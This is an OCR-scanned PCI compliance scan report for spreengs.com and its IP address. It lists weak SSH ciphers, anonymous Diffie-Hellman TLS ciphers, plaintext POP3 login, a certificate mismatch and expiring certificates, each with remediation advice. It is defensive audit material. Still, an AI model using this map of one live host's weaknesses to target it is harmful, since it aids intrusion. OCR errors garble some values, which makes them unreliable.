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PCI Scan Vulnerability Report

PCI Status

The following table highlights the overall compliance status and each individual system's compliance status. Following the table is a detcil2d repoit specifying each
system and its specific vulnerabilities.

Overall PCI Status FAIL

Live IP Address Scanned PCi Status

spreengs.com

HTTPS://spreengs.com:2083/ e
HTTPS://www.spreengs.com:443/ -
HTTPS://67.227.216.61:2083/ -
HTTPS://67.227.216.61:2096/

FAIL
HTTPS://spreengs.com:2087/ -
HTTPS://67.227.216.61:2087/ -

HTTPS://spreengs.com:2096/

Sysnet Scanning Management System April 17, 2026 Page 2



PCI Scan Vulnerability Report

Report Summary
Company:

Hosts in account
Hosts scanned
Hosts active

Scan date

Report date

Vulnerabilities by PCI Severity

Vulnerabilities total: 164

SPREENGS

April 17, 2026
April 17, 2026

by PCI Severity

PCI Severity Total
High 2
Medium 36
Low 126
Total 164

Vulnerabilities by PCI Severity

120
100
20
60
40

Vulnerabilities

20

High Medium
PCl Severity

W 2 High ® 36 Medium = 126 Low
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Detailed Results

spreengs.com (spreengs.com, ) redhat:enterprise_linux 7.9

Vulnerabilities total: 108 |

Vulnerabilities (108)

Wildcard SSL Certificate Detected port 993/tcp
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0155

Category: Digital Certificate

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:12.0
THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:
Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

SSL Perfect Forward Secrecy Supported port 2078/tcp

PCI COMPLIANCE STATUS
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PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0144
Category: Service Configuration
CVE ID: -

Vendor Reference: -
Last Update: 2021-08-13 00:04:10.0

THREAT:

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications
with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Enumerated SSL/TLS Cipher Suites port 993/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2013-0102
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:15:47.0
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THREAT:

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only
meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:
TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message
authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher
suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Information Disclosure via robots.txt port 2096/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134

Category: Host Fingerprinting

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:10:54.0
THREAT:

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By
connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,
restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:
Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: https://spreengs.com:2096/robots.txt

Rule found: Disallow: /
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SSH Server supported authentication methods

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

The SSH Server running in this host supports some authentication methods that can be used to establish a communication channel.

SOLUTION:

This vulnerability is not recognized in the National Vulnerability Database.

0.0
low
SLID-2017-0447

Information

2020-11-06 01:32:13.0

No remediation necessary. This is identified for informational purposes.

EVIDENCE:

Supported authentication methods: password, publickey, gssapi-keyex, gssapi-with-mic

Weak SSH Encryption Algorithms Supported

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:
Last Update:

THREAT:

This vulnerability is not recognized in the National Vulnerability Database.

6.8

medium
SLID-2015-0433
Weak Cryptography

2018-06-11 19:32:40.0

The encryption algorithms supported by this SSH service include cryptographically weak options.

port 22/tcp

port 22/tcp
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SOLUTION:

Configure the SSH service to no longer support weak encryption algorithms (aka: Ciphers).

EVIDENCE:

Weak SSHv2 Encryption Algorithms Client to Server: 3des-cbc, blowfish-cbc, cast128-cbc

Weak SSHv2 Encryption Algorithms Server to Client: 3des-cbc, blowfish-cbc, cast128-cbc

Certificate Recon Debugging Info (filtered)
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956
Category: Service Discovery
CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0

THREAT:
Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

SSL Perfect Forward Secrecy Supported
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

port 995/tcp

port 21/tcp
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SLID: SLID-2008-0144

Category: Service Configuration

CVE ID: -

Vendor Reference: -

Last Update: 2021-08-13 00:04:10.0
THREAT:

The server supports Ephemeral Diffie-Hellman ciphers for the SSL/TLS key exchange phase. Using this algorithm enforces Forward Secrecy for secure communications
with the server.

SOLUTION:
No remediation is necessary.

EVIDENCE:
Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA384

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES256-SHA

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES256-SHA

Cipher Suite: TLSv1_2 : DHE-RSA-CAMELLIA256-SHA

Cipher Suite: TLSv1_2 : AECDH-AES256-SHA

Cipher Suite: TLSv1_2 : ADH-AES256-GCM-SHA384

Cipher Suite: TLSv1_2 : ADH-AES256-SHA256

Cipher Suite: TLSv1_2 : ADH-AES256-SHA

Cipher Suite: TLSv1_2 : ADH-CAMELLIA256-SHA

Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA256

Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA256

Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA

Cipher Suite: TLSv1_2 : DHE-RSA-CAMELLIA128-SHA

Cipher Suite: TLSv1_2 : AECDH-AES128-SHA

Cipher Suite: TLSv1_2 : ADH-AES128-GCM-SHA256
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Cipher Suite: TLSv1_2 : ADH-AES128-SHA256

Cipher Suite: TLSv1_2 : ADH-AES128-SHA

Cipher Suite: TLSv1_2 : ADH-CAMELLIA128-SHA

Unencrypted Communication Channel Accessibility

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

This vulnerability is not recognized in the National Vulnerability Database.

Unencrypted communication channels violate Requirement 4 of the PCI DSS.

6.4

medium
SLID-2015-0436
Exposed Data

2019-05-10 21:15:04.0

port 110/tcp

The service running on this port appears to make use of a plaintext (unencrypted) communication channel. Unencrypted communication channels are vulnerable to the

disclosure and/or modification of any data transiting through them (including usernames and passwords), and as such the confidentially and integrity of the data in transit
cannot be ensured with any level of certainty.

SOLUTION:

Transition to using more secure alternatives such as SSH instead of Telnet and SFTP in favor of FTP, or consider wrapping less secure services within more secure

technologies by utilizing the benefits offered by VPN, SSL/TLS, or IPSec for example. Also, limit access to management protocols/services to specific IP addresses
(usually accomplished via a "whitelist") whenever possible.

EVIDENCE:

Details: Authentication is allowed without an encrypted connection

Sent: USER test

Received: +OK

TLSv1.2 Supported

PCI COMPLIANCE STATUS

port 21/tcp
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PCI Severity Level:

Low

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0

low
SLID-2020-0032
Cryptography

2020-01-09 19:18:11.0

This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:
Cipher Suite: TLSv1 2 :

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1 2 :

Cipher Suite: TLSv1 2 :

Cipher Suite: TLSv1 2 :

Cipher Suite: TLSv1 2 :

Cipher Suite: TLSv1 2 :

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1 2 :

ECDHE-RSA-AES256-GCM-SHA384

ECDHE-RSA-AES256-SHA384

ECDHE-RSA-AES256-SHA

DHE-RSA-AES256-GCM-SHA384

DHE-RSA-AES256-SHA256

DHE-RSA-AES256-SHA

DHE-RSA-CAMELLIA256-SHA

AECDH-AES256-SHA

ADH-AES256-GCM-SHA384

ADH-AES256-SHA256

ADH-AES256-SHA

ADH-CAMELLIA256-SHA

AES256-GCM-SHA384

AES256-SHA256

AES256-SHA

CAMELLIA256-SHA

ECDHE-RSA-AES128-GCM-SHA256
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Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-SHA256
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA256
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA
Cipher Suite: TLSv1_2 : DHE-RSA-CAMELLIA128-SHA
Cipher Suite: TLSv1_2 : AECDH-AES128-SHA

Cipher Suite: TLSv1_2 : ADH-AES128-GCM-SHA256
Cipher Suite: TLSv1_2 : ADH-AES128-SHA256

Cipher Suite: TLSv1_2 : ADH-AES128-SHA

Cipher Suite: TLSv1_2 : ADH-CAMELLIA128-SHA
Cipher Suite: TLSv1_2 : AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : AES128-SHA256

Cipher Suite: TLSv1_2 : AES128-SHA

Cipher Suite: TLSv1_2 : CAMELLIA128-SHA

SSL Certificate Expiring Soon

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160

Category: Digital Certificate

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0
THREAT:

This SSL certificate is currently valid; however, it is set to expire in the near future.

port 993/tcp
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SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64

DNS Resolver Accepts DNSSEC Options port 53/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0224
Category: Information Leak
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:12:19.0

THREAT:
The DNS resolver running on this host accepts DNSSEC options. By doing so, it is able to verify the authenticity of DNSSEC protected zones.

SOLUTION:
No remediation required.

EVIDENCE:
N/A

Information Disclosure via robots.txt port 2087/tcp

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.
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VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2010-0134
Category: Host Fingerprinting
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:10:54.0

THREAT:
Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By

connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,
restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:

Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: https://spreengs.com:2087/robots.txt

Rule found: Disallow: /

SSL Anonymous Diffie-Hellman Ciphers port 21/tcp
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 6.8

Severity: medium

SLID: SLID-2008-0143

Category: Weak Cryptography

CVE ID: -

Vendor Reference: -

Last Update: 2018-06-11 19:34:56.0
THREAT:

Anonymous Diffie-Hellman ciphers do not authenticate the server during the key exchange. This approach is vulnerable to man-in-the-middle attacks, in which the
attacker conducts anonymous Diffie-Hellman exchanges with both parties.
SOLUTION:

Configure your SSL server to only use higher-grade encryption. OpenSSL servers classify encryption algorithms as HIGH, MEDIUM, LOW and EXPORT strength.
Algorithms classified as HIGH all use 128-bit encryption or higher, as do several that are classified as MEDIUM. The "SSLCipherSuite" configuration item for mod_ssl and
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Apache2 can be used to control encryption algorithms for web servers that use OpenSSL. Since the definition of HIGH, MEDIUM, LOW, and EXPORT can vary between
each version of OpenSSL, it is recommended that the following be used to give the best guarantee for strong encryption: SSLCipherSuite HIGH:!SSLv2:!ADH:!laNULL:!
eNULL:!INULL For Windows systems running Internet Information Server (IIS), refer to the following Knowledge Base article for disabling certain cryptographic algorithms

and protocols: http://support.microsoft.com/kb/245030.

EVIDENCE:

Cipher Suite: TLSv1_2 : AECDH-AES256-SHA

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

ADH-AES256-GCM-SHA384

ADH-AES256-SHA256

ADH-AES256-SHA

ADH-CAMELLIA256-SHA

AECDH-AES128-SHA

ADH-AES128-GCM-SHA256

ADH-AES128-SHA256

ADH-AES128-SHA

ADH-CAMELLIA128-SHA

Wildcard SSL Certificate Detected

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:

Subject: /ICN=spreengs.com

This vulnerability is not recognized in the National Vulnerability Database.

0.0
low
SLID-2008-0155
Digital Certificate

2020-11-06 00:33:12.0

port 443/tcp
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Issuer: /C=US/O=Let's Encrypt/CN=R13

Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

Wildcard SSL Certificate Detected

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:

Severity:
SLID:
Category:
CVE ID:

Vendor Reference:

Last Update:

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:

0.0
low
SLID-2008-0155
Digital Certificate

2020-11-06 00:33:12.0

Subject: /ICN=spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13

Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

Wildcard SSL Certificate Detected

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

port 2083/tcp

port 995/tcp
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VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0155
Category: Digital Certificate
CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:12.0

THREAT:

An SSL certificate with a wildcarded common name (CN) record (e.g., *.mydomain.com) was detected on this service.

SOLUTION:

Review your certificate configurations to assure that wildcard certificates are suitable for your application.

EVIDENCE:
Subject: /CN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Wildcard Subject Name: *.spreengs.com

Certificate Recon Debugging Info (filtered)
PCI COMPLIANCE STATUS

PCI Severity Level: o

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2017-08-11 00:04:03.0
THREAT:

Cert recon debug info

SOLUTION:
N/A

port 110/tcp
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EVIDENCE:
Verification errors:

SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430

Category: Service Discovery

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:32:24.0
THREAT:

Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:49:49 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96

Subject: /ICN=spreengs.com

Common name: spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEnNcryption

Version: 2

port 143/tcp
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TLSv1.2 Supported

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

0.0

low
SLID-2020-0032
Cryptography

2020-01-09 19:18:11.0

This service supports the use of the TLSv1.2 protocol.

SOLUTION:
N/A

EVIDENCE:
Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

ECDHE-RSA-AES256-GCM-SHA384

DHE-RSA-AES256-GCM-SHA384

ECDHE-RSA-AES128-GCM-SHA256

DHE-RSA-AES128-GCM-SHA256

Information Disclosure via robots.txt

PCI COMPLIANCE STATUS

PCI Severity Level:

Low

This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

0.0

low
SLID-2010-0134
Host Fingerprinting

port 2096/tcp

port 2083/tcp
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CVE ID: -
Vendor Reference: -

Last Update: 2020-11-06 01:10:54.0

THREAT:

Some Web Servers use a file called /robot(s).txt to make search engines and any other indexing tools visit their WebPages more frequently and more efficiently. By
connecting to the server and requesting the /robot(s).txt file, an attacker may gain additional information about the system they are attacking. Such information as,
restricted directories, hidden directories, cgi script directories and etc.

SOLUTION:

Take special care not to tell the robots not to index sensitive directories, since this tells attackers exactly which of your directories are sensitive.

EVIDENCE:
URL: https://67.227.216.61:2083/robots.txt

Rule found: Disallow: /

SSL Certificate Expiring Soon port 2078/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: e

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160

Category: Digital Certificate

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0
THREAT:

This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /IC=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0

Expiration Date: 2026-06-21 12:56:50 UTC
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Days to expiration: 64

Enumerated SSL/TLS Cipher Suites

PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

Last Update:

THREAT:

This vulnerability is not recognized in the National Vulnerability Database.

0.0

low
SLID-2013-0102
Host Fingerprinting

2020-11-06 01:15:47.0

port 443/tcp

The finding reports the SSL cipher suites for each SSL/TLS service version provided by the remote service. This finding does not represent a vulnerability, but is only

meant to provide visibility into the behavior and configuration of the remote SSL/TLS service. The information provided as part of this finding includes the SSL version (ex:

TLSv1) as well as the name of the cipher suite (ex: RC4-SHA). A cipher suite is a set of cryptographic algorithms that provide authentication, encryption, and message

authentication code (MAC) as part of an SSL/TLS negotiation and through the lifetime of the SSL session. It is typical that an SSL service would support multiple cipher

suites. A cipher suite can be supported by across multiple SSL/TLS versions, so you should be of no concern to see the same cipher name reported for multiple

SOLUTION:

No remediation is necessary.

EVIDENCE:

Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES256-GCM-SHA384

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

Cipher Suite: TLSv1_2:

ECDHE-RSA-AES256-SHA384

ECDHE-RSA-AES256-SHA

DHE-RSA-AES256-GCM-SHA384

DHE-RSA-AES256-SHA256

DHE-RSA-AES256-SHA

AES256-GCM-SHA384

AES256-SHA256

AES256-SHA

ECDHE-RSA-AES128-GCM-SHA256
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Cipher Suite: TLSv1l_2 : ECDHE-RSA-AES128-SHA256
Cipher Suite: TLSv1_2 : ECDHE-RSA-AES128-SHA
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-GCM-SHA256
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA256
Cipher Suite: TLSv1_2 : DHE-RSA-AES128-SHA

Cipher Suite: TLSv1_2 : AES128-GCM-SHA256

Cipher Suite: TLSv1_2 : AES128-SHA256

Cipher Suite: TLSv1_2 : AES128-SHA

Cipher Suite: TLSv1_2 : ECDHE-RSA-CHACHA20-POLY1305

Weak SSH Key Exchange Algorithms Supported port 22/tcp
PCI COMPLIANCE STATUS

PCI Severity Level:

“ This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 6.8

Severity: medium

SLID: SLID-2015-0432

Category: Weak Cryptography

CVE ID: -

Vendor Reference: -

Last Update: 2018-06-11 19:33:07.0
THREAT:

The methods that specify how one-time session keys are generated for encryption and for authentication, and how the server authentication is done (aka: SSH Key
Exchange Algorithms) for this SSH service include cryptographically weak algorithms.

SOLUTION:
Configure the SSH service to no longer support weak key exchange algorithms (aka: KexAlgorithms).

EVIDENCE:
Weak SSHv2 Key Exchange Algorithms: diffie-hellman-group1-shal,diffie-hellman-group14-shal,diffie-hellman-group-exchange-shal

SSL Certificate Common Name Does Not Validate (External Scan) port 21/tcp
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PCI COMPLIANCE STATUS

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score:
Severity:

SLID:

Category:

CVE ID:

Vendor Reference:

This vulnerability is not recognized in the National Vulnerability Database.

6.8

medium
SLID-2008-0159
Digital Certificate

Last Update: 2018-12-28 18:24:34.0

THREAT:

This SSL certificate has a common name (CN) that does not appear to match the identity of the server. Modern browsers may present a warning to users who attempt to
browse this service as it is currently configured. Note that in some networks in which load balancers are used, it may not be possible for the scanner to perform this test
correctly.

SOLUTION:

Check your certificate to ensure it is installed on the correct service. Verify that you have added the domain name or fully qualified virtual host name of the system to your
Network Questionnaire. Please refer to the evidence for more details as to why this finding has been flagged. In cases where there are validation errors within the
certificate chain, you will need to work with your certificate authority. This finding often results when there is an issue with the scan configuration. E.g. an IP address was
provided when it should have been a URL. Please check your scan configuration and ensure that the scan target has been set as a URL/domain. Additionally, check your
DNS servers to ensure that the domain name is properly mapped to the correct IP address. Please note the port associated with this finding. This finding may NOT be
originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /CN=host.pimlive.com

Issuer: /C=US/O=Let's Encrypt/CN=R12

Certificate Chain Depth: 0

Hostnames provided to scanner: spreengs.com, www.spreengs.com, 67.227.216.61

Subject Name: host.pimlive.com

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aac178>

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aac088>

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aac038>

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71laabf48>

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71laabef8>

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71laabea8>

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71laabe58>
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Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aabdb8>
Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aabd18>
Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aabc78>
Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aabc28>

Subject Alternative Name: #<R509::ASN1::GeneralName:0x00007fde71aabb88>

Certificate Recon Debugging Info (filtered)
PCI COMPLIANCE STATUS

Low

PCI Severity Level:

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2012-0956
Category: Service Discovery
CVE ID: -

Vendor Reference:

Last Update:

THREAT:
Cert recon debug info

SOLUTION:
N/A

EVIDENCE:
Verification errors:

2017-08-11 00:04:03.0

SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

port 993/tcp

port 2083/tcp
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CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430
Category: Service Discovery
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:32:24.0

THREAT:

Information extracted from a certificate discovered on a TLS or SSL wrapped service.

SOLUTION:
N/A

EVIDENCE:
Verified: true

Today: 2026-04-17 15:10:49 +0000

Start date: 2026-03-23 12:56:51 UTC

End date: 2026-06-21 12:56:50 UTC

Expired: false

Fingerprint: 81:34:94:AF:92:C0:64:93:F7:CD:52:6F:10:DF:02:96
Subject: /CN=spreengs.com

Common name: spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13

Signature Algorithm: sha256WithRSAEncryption

Version: 2

FTP Server Supports AUTH TLS (STARTTLS)
PCI COMPLIANCE STATUS

PCI Severity Level: [ row |

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0
Severity: low
SLID: SLID-2014-0358

port 21/tcp
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Category: Host Fingerprinting

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 01:18:04.0
THREAT:

The FTP service running on this host supports encryption using the AUTH TLS command.

SOLUTION:
No remediation necessary. This is identified for informational purposes.

EVIDENCE:
Message: 234 AUTH TLS OK.

SSL Certificate Expiring Soon port 2096/tcp
PCI COMPLIANCE STATUS

PCI Severity Level: =

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2008-0160

Category: Digital Certificate

CVE ID: -

Vendor Reference: -

Last Update: 2020-11-06 00:33:25.0
THREAT:

This SSL certificate is currently valid; however, it is set to expire in the near future.

SOLUTION:

Contact your Certificate Authority (CA) to have a new certificate issued prior to the expiration date. Please note the port associated with this finding. This finding may NOT
be originating from port 443, which is what most online testing tools check by default.

EVIDENCE:
Subject: /ICN=spreengs.com

Issuer: /C=US/O=Let's Encrypt/CN=R13
Certificate Chain Depth: 0
Expiration Date: 2026-06-21 12:56:50 UTC

Days to expiration: 64
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SSL-TLS Certificate Information

PCI COMPLIANCE STATUS

Low

PCI Severity Level:

m This vulnerability is not recognized in the National Vulnerability Database.

VULNERABILITY DETAILS

CVSS Base Score: 0.0

Severity: low

SLID: SLID-2017-0430
Category: Service Discovery
CVE ID: -

Vendor Reference: -
Last Update: 2020-11-06 01:32:24.0

THREAT:
